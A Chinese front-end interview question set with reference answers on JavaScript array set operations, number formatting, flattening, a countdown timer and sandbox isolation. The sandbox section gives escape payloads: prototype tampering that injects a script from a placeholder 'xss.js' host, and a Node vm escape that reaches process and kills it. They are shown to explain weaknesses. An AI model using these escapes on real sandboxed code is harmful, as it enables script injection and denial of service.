32.前端基础-应用3
8.6 js中两个数组怎么取交集+(差集、并集、补集)
参考答案:
最普遍的做法
使用 ES5 语法来实现虽然会麻烦些,但兼容性最好,不用考虑浏览器 JavaScript 版本。也不用引入其他第三方库。
直接使用 filter、concat 来计算
var a = [1,2,3,4,5] var b = [2,4,6,8,10] //交集 var c = a.filter(function(v){ return b.indexOf(v) > -1 }) //差集 var d = a.filter(function(v){ return b.indexOf(v) == -1 }) //补集 var e = a.filter(function(v){ return !(b.indexOf(v) > -1) }) .concat(b.filter(function(v){ return !(a.indexOf(v) > -1)})) //并集 var f = a.concat(b.filter(function(v){ return !(a.indexOf(v) > -1)}));
对 Array 进行扩展
//数组功能扩展 //数组迭代函数 Array.prototype.each = function(fn){ fn = fn || Function.K; var a = []; var args = Array.prototype.slice.call(arguments, 1); for(var i = 0; i < this.length; i++){ var res = fn.apply(this,[this[i],i].concat(args)); if(res != null) a.push(res); } return a; }; //数组是否包含指定元素 Array.prototype.contains = function(suArr){ for(var i = 0; i < this.length; i ++){ if(this[i] == suArr){ return true; } } return false; } //不重复元素构成的数组 Array.prototype.uniquelize = function(){ var ra = new Array(); for(var i = 0; i < this.length; i ++){ if(!ra.contains(this[i])){ ra.push(this[i]); } } return ra; }; //两个数组的交集 Array.intersect = function(a, b){ return a.uniquelize().each(function(o){return b.contains(o) ? o : null}); }; //两个数组的差集 Array.minus = function(a, b){ return a.uniquelize().each(function(o){return b.contains(o) ? null : o}); }; //两个数组的补集 Array.complement = function(a, b){ return Array.minus(Array.union(a, b),Array.intersect(a, b)); }; //两个数组并集 Array.union = function(a, b){ return a.concat(b).uniquelize(); };
使用 ES6 语法实现
ES6 中可以借助扩展运算符(...)以及 Set 的特性实现相关计算,代码也会更加简单些。
var a = [1,2,3,4,5] var b = [2,4,6,8,10] console.log("数组a:", a); console.log("数组b:", b); var sa = new Set(a); var sb = new Set(b); // 交集 let intersect = a.filter(x => sb.has(x)); // 差集 let minus = a.filter(x => !sb.has(x)); // 补集 let complement = [...a.filter(x => !sb.has(x)), ...b.filter(x => !sa.has(x))]; // 并集 let unionSet = Array.from(new Set([...a, ...b]));
使用 jQuery 实现
var a = [1,2,3,4,5] var b = [2,4,6,8,10] console.log("数组a:", a); console.log("数组b:", b); // 交集 let intersect = $(a).filter(b).toArray(); // 差集 let minus = $(a).not(b).toArray(); // 补集 let complement = $(a).not(b).toArray().concat($(b).not(a).toArray()); // 并集 let unionSet = $.unique(a.concat(b));
8.7 用正则和非正则实现123456789.12=》1,234,567,890.12
参考答案:
非正则:
如果数字带有小数点的话,可以使用toLocaleString()方法实现这个需求。
b.toLocaleString();
正则:
不带小数点
num.toString().replace(/(\d)(?=(?:\d{3})+$)/g,'$1,')
带小数点
- 判读是否带有小数点
- 没有小数点,就用正则匹配实
function numFormat(num) { var c = (num.toString().indexOf ('.') !== -1) ? num.toLocaleString() : num.toString().replace(/(\d)(?=(?:\d{3})+$)/g, '$1,'); return c; }
8.8 写一个判断是否是空对象的函数
参考答案:
function isEmpty(value) { return ( value === null || value === undefined || (typeof value === 'object' && Object.keys(value).length === 0) ) }
8.9 代码题:颜色值16进制转10进制rgb
参考答案:
function toRGB(color) { var regex = /^#([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/ //匹配十六进制的正则 match = color.match(regex) // 判断是否是十六进制颜色值 return match ? 'rgb('+parseInt(match[1], 16)+','+parseInt(match[2], 16)+','+parseInt(match[3], 16)+')' : color }
8.10 传入 [1,[[2],3,4],5] ,返回 [1,2,3,4,5]
参考答案:
递归
我们最一开始能想到的莫过于循环数组元素,如果还是一个数组,就递归调用该方法:
// 方法 1 var arr = [1, [2, [3, 4]]]; function flatten(arr) { var result = []; for (var i = 0, len = arr.length; i < len; i++) { if (Array.isArray(arr[i])) { result = result.concat(flatten(arr[i])) } else { result.push(arr[i]) } } return result; } console.log(flatten(arr))
toString
如果数组的元素都是数字,那么我们可以考虑使用 toString 方法,因为:
[1, [2, [3, 4]]].toString() // "1,2,3,4"
调用 toString 方法,返回了一个逗号分隔的扁平的字符串,这时候我们再 split,然后转成数字不就可以实现扁平化了吗?
// 方法2 var arr = [1, [2, [3, 4]]]; function flatten(arr) { return arr.toString().split(',').map(function(item){ return +item }) } console.log(flatten(arr))
然而这种方法使用的场景却非常有限,如果数组是 [1, '1', 2, '2'] 的话,这种方法就会产生错误的结果。
reduce
既然是对数组进行处理,最终返回一个值,我们就可以考虑使用 reduce 来简化代码:
// 方法3 var arr = [1, [2, [3, 4]]]; function flatten(arr) { return arr.reduce(function(prev, next){ return prev.concat(Array.isArray(next) ? flatten(next) : next) }, []) } console.log(flatten(arr))
...
ES6 增加了扩展运算符,用于取出参数对象的所有可遍历属性,拷贝到当前对象之中:
var arr = [1, [2, [3, 4]]]; console.log([].concat(...arr)); // [1, 2, [3, 4]]
我们用这种方法只可以扁平一层,但是顺着这个方法一直思考,我们可以写出这样的方法:
// 方法4 var arr = [1, [2, [3, 4]]]; function flatten(arr) { while (arr.some(item => Array.isArray(item))) { arr = [].concat(...arr); } return arr; } console.log(flatten(arr))
undercore
那么如何写一个抽象的扁平函数,来方便我们的开发呢,所有又到了我们抄袭 underscore 的时候了~
在这里直接给出源码和注释,但是要注意,这里的 flatten 函数并不是最终的 _.flatten,为了方便多个 API 进行调用,这里对扁平进行了更多的配置。
/** * 数组扁平化 * @param {Array} input 要处理的数组 * @param {boolean} shallow 是否只扁平一层 * @param {boolean} strict 是否严格处理元素,下面有解释 * @param {Array} output 这是为了方便递归而传递的参数 * 源码地址:https://github.com/jashkenas/underscore/blob/master/underscore.js#L528 */ function flatten(input, shallow, strict, output) { // 递归使用的时候会用到output output = output || []; var idx = output.length; for (var i = 0, len = input.length; i < len; i++) { var value = input[i]; // 如果是数组,就进行处理 if (Array.isArray(value)) { // 如果是只扁平一层,遍历该数组,依此填入 output if (shallow) { var j = 0, length = value.length; while (j < length) output[idx++] = value[j++]; } // 如果是全部扁平就递归,传入已经处理的 output,递归中接着处理 output else { flatten(value, shallow, strict, output); idx = output.length; } } // 不是数组,根据 strict 的值判断是跳过不处理还是放入 output else if (!strict){ output[idx++] = value; } } return output; }
解释下 strict,在代码里我们可以看出,当遍历数组元素时,如果元素不是数组,就会对 strict 取反的结果进行判断,如果设置 strict 为 true,就会跳过不进行任何处理,这意味着可以过滤非数组的元素,举个例子:
var arr = [1, 2, [3, 4]]; console.log(flatten(arr, true, true)); // [3, 4]
那么设置 strict 到底有什么用呢?不急,我们先看下 shallow 和 strct 各种值对应的结果:
- shallow true + strict false :正常扁平一层
- shallow false + strict false :正常扁平所有层
- shallow true + strict true :去掉非数组元素
- shallow false + strict true : 返回一个[]
我们看看 underscore 中哪些方法调用了 flatten 这个基本函数:
_.flatten
首先就是 _.flatten:
_.flatten = function(array, shallow) { return flatten(array, shallow, false); };
在正常的扁平中,我们并不需要去掉非数组元素。
_.union
接下来是 _.union:
该函数传入多个数组,然后返回传入的数组的并集,
举个例子:
_.union([1, 2, 3], [101, 2, 1, 10], [2, 1]); => [1, 2, 3, 101, 10]
如果传入的参数并不是数组,就会将该参数跳过:
_.union([1, 2, 3], [101, 2, 1, 10], 4, 5); => [1, 2, 3, 101, 10]
为了实现这个效果,我们可以将传入的所有数组扁平化,然后去重,因为只能传入数组,这时候我们直接设置 strict 为 true,就可以跳过传入的非数组的元素。
// 关于 unique 可以查看《JavaScript专题之数组去重》[](https://github.com/mqyqingfeng/Blog/issues/27) function unique(array) { return Array.from(new Set(array)); } _.union = function() { return unique(flatten(arguments, true, true)); }
_.difference
是不是感觉折腾 strict 有点用处了,我们再看一个 _.difference:
语法为:
_.difference(array, *others)
效果是取出来自 array 数组,并且不存在于多个 other 数组的元素。跟 _.union 一样,都会排除掉不是数组的元素。
举个例子:
_.difference([1, 2, 3, 4, 5], [5, 2, 10], [4], 3); => [1, 3]
实现方法也很简单,扁平 others 的数组,筛选出 array 中不在扁平化数组中的值:
function difference(array, ...rest) { rest = flatten(rest, true, true); return array.filter(function(item){ return rest.indexOf(item) === -1; }) }
8.11 倒计时,一开始就进行
参考答案:
题意:一旦进入页面倒计时就开始,因此在window.onload方法中调用倒计时方法
<script> window.onload = function () { countDown(); function addZero(i) { return i < 10 ? "0" + i: i + ""; } function countDown() { var nowtime = new Date(); var endtime = new Date("2019/03/16,17:57:00"); var lefttime = parseInt((endtime.getTime() - nowtime.getTime()) / 1000); var d = parseInt(lefttime / (24*60*60)) var h = parseInt(lefttime / (60 * 60) % 24); var m = parseInt(lefttime / 60 % 60); var s = parseInt(lefttime % 60); d = addZero(d) h = addZero(h); m = addZero(m); s = addZero(s); document.querySelector(".count").innerHTML = `活动倒计时 ${d}天 ${h} 时 ${m} 分 ${s} 秒`; if (lefttime <= 0) { document.querySelector(".count").innerHTML = "活动已结束"; return; } setTimeout(countDown, 1000); } } </script>
8.12 沙箱隔离怎么做的什么原理
参考答案:
沙箱,即sandbox,顾名思义,就是让你的程序跑在一个隔离的环境下,不对外界的其他程序造成影响,通过创建类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。
实现沙箱的三种方法
- 借助with + new Function
首先从最简陋的方法说起,假如你想要通过eval和function直接执行一段代码,这是不现实的,因为代码内部可以沿着作用域链往上找,篡改全局变量,这是我们不希望的,所以你需要让沙箱内的变量访问都在你的监控范围内;不过,你可以使用with API,在with的块级作用域下,变量访问会优先查找你传入的参数对象,之后再往上找,所以相当于你变相监控到了代码中的“变量访问”:
function compileCode (src) { src = 'with (exposeObj) {' + src + '}' return new Function('exposeObj', src) }
接下里你要做的是,就是暴露可以被访问的变量exposeObj,以及阻断沙箱内的对外访问。通过es6提供的proxy特性,可以获取到对对象上的所有改写:
function compileCode (src) { src = `with (exposeObj) { ${src} }` return new Function('exposeObj', src) } function proxyObj(originObj){ let exposeObj = new Proxy(originObj,{ has:(target,key)=>{ if(["console","Math","Date"].indexOf(key)>=0){ return target[key] } if(!target.hasOwnProperty(key)){ throw new Error(`Illegal operation for key ${key}`) } return target[key] }, }) return exposeObj } function createSandbox(src,obj){ let proxy = proxyObj(obj) compileCode(src).call(proxy,proxy) //绑定this 防止this访问window }
通过设置has函数,可以监听到变量的访问,在上述代码中,仅暴露个别外部变量供代码访问,其余不存在的属性,都会直接抛出error。其实还存在get、set函数,但是如果get和set函数只能拦截到当前对象属性的操作,对外部变量属性的读写操作无法监听到,所以只能使用has函数了。接下来我们测试一下:
const testObj = { value:1, a:{ b: } } createSandbox("value='haha';console.log(a)",testObj)
看起来一切似乎没有什么问题,但是问题出在了传入的对象,当调用的是console.log(a.b)的时候,has方法是无法监听到对b属性的访问的,假设所执行的代码是不可信的,这时候,它只需要通过a.b.proto就可以访问到Object构造函数的原型对象,再对原型对象进行一些篡改,例如将toString就能影响到外部的代码逻辑的。
createSandbox(` a.b.__proto__.toString = ()=>{ new (()=>{}).constructor("var script = document.createElement('script'); script.src = 'http://xss.js'; script.type = 'text/javascript'; document.body.appendChild(script);")() } `,testObj) console.log(testObj.a.b.__proto__.toString())
例如上面所展示的代码,通过访问原型链的方式,实现了沙箱逃逸,并且篡改了原型链上的toString方法,一旦外部的代码执行了toString方法,就可以实现xss攻击,注入第三方代码;由于在内部定义执行的函数代码逻辑,仍然会沿着作用于链查找,为了绕开作用域链的查找,笔者通过访问箭头函数的constructor的方式拿到了构造函数Function,这个时候,Funtion内所执行的xss代码,在执行的时候,便不会再沿着作用域链往上找,而是直接在全局作用域下执行,通过这样的方式,实现了沙箱逃逸以及xss攻击。
你可能会想,如果我切断原型链的访问,是否就杜绝了呢?的确,你可以通过Object.create(null)的方式,传入一个不含有原型链的对象,并且让暴露的对象只有一层,不传入嵌套的对象,但是,即使是基本类型值,数字或字符串,同样也可以通过proto查找到原型链,而且,即使不传入对象,你还可以通过下面这种方式绕过:
({}).__proto__.toString= ()=>{console.log(111)};
可见,new Function + with的这种沙箱方式,防君子不防小人,当然,你也可以通过对传入的code代码做代码分析或过滤?假如传入的代码不是按照的规定的数据格式(例如json),就直接抛出错误,阻止恶意代码注入,但这始终不是一种安全的做法。
- 借助iframe实现沙箱
前面介绍一种劣质的、不怎么安全的方法构造了一个简单的沙箱,但是在前端最常见的方法,还是利用iframe来构造一个沙箱
<iframe sandbox src="..."></iframe>
但是这也会带来一些限制:
script脚本不能执行
不能发送ajax请求
不能使用本地存储,即localStorage,cookie等
不能创建新的弹窗和window
不能发送表单
不能加载额外插件比如flash等
不过别方,你可以对这个iframe标签进行一些配置:
接下里你只需要结合postMessage API,将你需要执行的代码,和需要暴露的数据传递过去,然后和你的iframe页面通信就行了。
1)需要注意的是,在子页面中,要注意不要让执行代码访问到contentWindow对象,因为你需要调用contentWindow的postMessageAPI给父页面传递信息,假如恶意代码也获取到了contentWindow对象,相当于就拿到了父页面的控制权了,这个时候可大事不妙。
2)当使用postMessageAPI的时候,由于sandbox的origin默认为null,需要设置allow-same-origin允许两个页面进行通信,意味着子页面内可以发起请求,这时候需要防范好CSRF,允许了同域请求,不过好在,并没有携带上cookie。
3)当调用postMessageAPI传递数据给子页面的时候,传输的数据对象本身已经通过结构化克隆算法复制
简单的说,通过postMessageAPI传递的对象,已经由浏览器处理过了,原型链已经被切断,同时,传过去的对象也是复制好了的,占用的是不同的内存空间,两者互不影响,所以你不需要担心出现第一种沙箱做法中出现的问题。
- nodejs中的沙箱
nodejs中使用沙箱很简单,只需要利用原生的vm模块,便可以快速创建沙箱,同时指定上下文。
const vm = require('vm'); const x = 1; const sandbox = { x: 2 }; vm.createContext(sandbox); // Contextify the sandbox. const code = 'x += 40; var y = 17;'; vm.runInContext(code, sandbox); console.log(sandbox.x); // 42 console.log(sandbox.y); // 17 console.log(x); // 1; y is not defined.
vm中提供了runInNewContext、runInThisContext、runInContext三个方法,三者的用法有个别出入,比较常用的是runInNewContext和runInContext,可以传入参数指定好上下文对象。
但是vm是绝对安全的吗?不一定。
const vm = require('vm'); vm.runInNewContext("this.constructor.constructor('return process')().exit()")
通过上面这段代码,我们可以通过vm,停止掉主进程nodejs,导致程序不能继续往下执行,这是我们不希望的,解决方案是绑定好context上下文对象,同时,为了避免通过原型链逃逸(nodejs中的对象并没有像浏览器端一样进行结构化复制,导致原型链依然保留),所以我们需要切断原型链,同时对于传入的暴露对象,只提供基本类型值。
let ctx = Object.create(null); ctx.a = 1; // ctx上不能包含引用类型的属性 vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);
让我们来看一下TSW中是怎么使用的:
const vm = require('vm'); const SbFunction = vm.runInNewContext('(Function)', Object.create(null)); // 沙堆 ... if (opt.jsonpCallback) { code = `var result=null; var ${opt.jsonpCallback}=function($1){result=$1}; ${responseText}; return result;`; obj = new SbFunction(code)(); } ...
通过runInNewContext返回沙箱中的构造函数Function,同时传入切断原型链的空对象防止逃逸,之后再外部使用的时候,只需要调用返回的这个函数,和普通的new Function一样调用即可。